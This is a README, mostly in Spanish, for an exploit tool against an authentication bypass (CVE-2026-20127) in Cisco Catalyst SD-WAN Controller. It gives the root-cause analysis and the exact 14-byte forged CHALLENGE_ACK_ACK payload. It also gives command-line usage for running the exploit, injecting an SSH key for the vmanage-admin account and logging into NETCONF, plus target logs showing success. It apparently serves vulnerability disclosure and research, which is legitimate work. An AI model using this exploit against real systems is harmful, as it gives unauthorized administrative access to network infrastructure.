sfewer-r7/cve-2026-20127Exploit para la omisión de autenticación del controlador Cisco Catalyst SD-WAN (CVE-2026-20127) que falsifica mensajes DTLS CHALLENGE_ACK_ACK para obtener acceso no autorizado e inyectar claves SSH.
Un exploit para la vulnerabilidad de omisión de autenticación en Cisco Catalyst SD-WAN Controller, CVE-2026-20127.
Este exploit ataca el manejador vbond_proc_challenge_ack_ack(). Envía un mensaje CHALLENGE_ACK_ACK falsificado (msg_type=10) con un byte verify_status=1 controlado por el atacante, forzando directamente al servidor a establecer authenticated=1 en la entrada del peer.
En el handshake normal del plano de control DTLS:
CHALLENGE (msg_type=8)CHALLENGE_ACK (msg_type=9) que contiene los datos del certificadoCHALLENGE_ACK_ACK (msg_type=10) con verify_status=1Este exploit cortocircuita el flujo:
CHALLENGECHALLENGE_ACK_ACK (msg_type=10) con verify_status=1 directamentevbond_proc_challenge_ack_ack() del servidor lee verify_status del cuerpo del mensaje — esto está controlado por el atacanteverify_status != 0, el servidor establece authenticated=1 (*(BYTE*)(a2+70) = 1)La puerta de autenticación en vbond_proc_msg() exime a msg_type=10 de las comprobaciones de autenticación, por lo que esto funciona incluso aunque el peer aún no esté autenticado.
Probado con éxito contra Cisco Catalyst SD-WAN Controller (también conocido como vSmart), versión 20.15.3.
Probado y fallido contra un Cisco Catalyst SD-WAN Controller (también conocido como vSmart) parcheado, versión 20.12.6.1.
Usage: ./bin/vdaemon_exploit TARGET [options]
vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)
This exploit targets the vbond_proc_challenge_ack_ack() handler.
It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing
the server to set authenticated=1 without certificate verification.
-p, --port PORT DTLS port (default: 12346)
--inject-key Generate and inject SSH key into vmanage-admin authorized_keys
--ssh-key PUBKEY_FILE Path to SSH public key file to inject
--cert CERT_FILE Path to PEM certificate file for DTLS handshake
--cert-key KEY_FILE Path to PEM private key file for DTLS handshake (used with --cert)
--data-dir DIR Directory for generated keys/certs (default: ./data/)
Examples:
./bin/vdaemon_exploit 192.168.86.166
./bin/vdaemon_exploit 192.168.86.166 --inject-key
./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem
# Install dependencies
bundle install
# Run exploit - Test the auth bypass
ruby ./bin/vdaemon_exploit 192.168.86.166
# Run exploit - Leverage the auth bypass to inject an SSH key
ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key
# Leverage SSH key - Login to NETCONF as vmanage-admin
ssh -i ./data/ssh/attacker_ssh_20260306_141607 [email protected] -p 830
La siguiente captura de pantalla muestra una explotación exitosa y el posterior acceso SSH al servicio NETCONF:
vbond_proc_challenge_ack_ack()Ubicada en la dirección 0x38AB7 en vdaemon (20.12.5). La función procesa los mensajes CHALLENGE_ACK_ACK entrantes y tiene estas comprobaciones clave:
a2+112): Rechaza si ya se procesó un CHALLENGE_ACK_ACK para este peer. La primera vez, este contador es 0 → pasa.a1+8 == 4): Devuelve 20 si el dispositivo local es un vBond. Atacamos vSmart (tipo=3) → pasa.a3+32): Lee el primer byte del cuerpo del mensaje. Si es cero → ruta de rechazo (eliminación del peer). Si no es cero → establece *(BYTE*)(a2+70) = 1 (autenticado).La falla crítica: verify_status proviene directamente del cuerpo del mensaje controlado por el atacante sin validación del lado del servidor. La función confía en la afirmación del peer sobre el estado de verificación.
En vbond_proc_msg(), la puerta de autenticación que bloquea a los peers no autenticados de enviar la mayoría de los tipos de mensaje exime explícitamente a msg_type=10 (CHALLENGE_ACK_ACK). Esto es necesario para el flujo legítimo del protocolo (el servidor envía ACK_ACK al cliente antes de que se complete la autenticación), pero también permite que un atacante envíe un ACK_ACK falsificado al servidor.
El exploit envía un mensaje de 14 bytes:
Header (12 bytes):
Byte 0: 0x0A (version=0, msg_type=10/CHALLENGE_ACK_ACK)
Byte 1: 0x30 (device_type=3/vSmart << 4)
Byte 2: 0xA0 (flags)
Byte 3: 0x00 (reserved)
Bytes 4-7: domain_id (big-endian u32, default: 1)
Bytes 8-11: site_id (big-endian u32, default: 100)
Body (2 bytes):
Byte 0: 0x01 (verify_status = 1 / TRUE)
Byte 1: 0x00 (reserved)
En este ejemplo, el objetivo era un Cisco Catalyst SD-WAN Controller (también conocido como vSmart), versión 20.15.3. El objetivo tenía una dirección IP de 192.168.86.166 y el atacante tenía una dirección IP de 192.168.86.35.
El archivo de registro /var/log/vsyslog registró estos mensajes:
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart generated-at:3-9-2026T15:2:24
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down generated-at:3-9-2026T15:2:24
El archivo de registro /var/log/vdebug registró estos mensajes:
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[497]: [VDAEMON_DBG_SSL-5] ssl 0x7fdc8a4b2000 ssl_version 65277 protocol_version 7 cipher_name ECDHE-RSA-AES256-GCM-SHA384 is_server true cipher_bits 256 cipher_desc "ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(256) Mac=AEAD
"
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[506]: [VDAEMON_DBG_SSL-5] local_cert: "RSA"(6) bits:2048 sec_bits:112 peer_cert: "RSA"(6) bits:2048 sec_bits:112 local_tmp: not filled peer_tmp: "ECDH"(408) ec_group "P-521" (716) bits:521 sec_bits:260
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_handshake_event_cb[1436]: [VDAEMON_DBG_CERT-5] Get CA RSA Public key
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_proc_msg[5747]: [VDAEMON_DBG_MISC-3] Migrating .. sys_ip :: vmanage_sys_ip 0.0.0.0
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:00" new-state:up generated-at:3-9-2026T15:2:12
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_send_register_to_vmanage[7133]: [VDAEMON_DBG_PKT-5] Sending register_to_vmanage
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_reset_cfg_push_request[6225]: [VDAEMON_DBG_MISC-5] /var/confd/.backup/vmanage_cfg_push_request does not exist
Mar 9 15:02:13 testvsmart VDAEMON_1[1483]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 23 wan_if eth0_v6
Mar 9 15:02:13 testvsmart VDAEMON_1[1483]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar 9 15:02:13 testvsmart VDAEMON_0[1488]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 22 wan_if eth0_v6
Mar 9 15:02:13 testvsmart VDAEMON_0[1488]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: vbond_peer_timer_exp_cb[584]: [VDAEMON_DBG_EVENTS-3] Timing out peer 192.168.86.35:52521 on eth0
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart generated-at:3-9-2026T15:2:24
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down generated-at:3-9-2026T15:2:24
Después de usar el exploit con éxito, el atacante remoto puede aprovechar la clave SSH del usuario vmanage-admin recién cargada para iniciar sesión en el servicio NETCONF a través de SSH en el puerto TCP 830. El archivo de registro /var/log/auth.log registró estos mensajes:
Mar 9 15:02:24 testvsmart sshd[4838]: Accepted publickey for vmanage-admin from 192.168.86.35 port 52135 ssh2: RSA SHA256:5gvFG8VrVRpc/fX6PDd2vDfTj63jcIgbiWvSRTrlqBo
Mar 9 15:02:24 testvsmart sshd[4838]: pam_unix(sshd:session): session opened for user vmanage-admin(uid=1001) by (uid=0)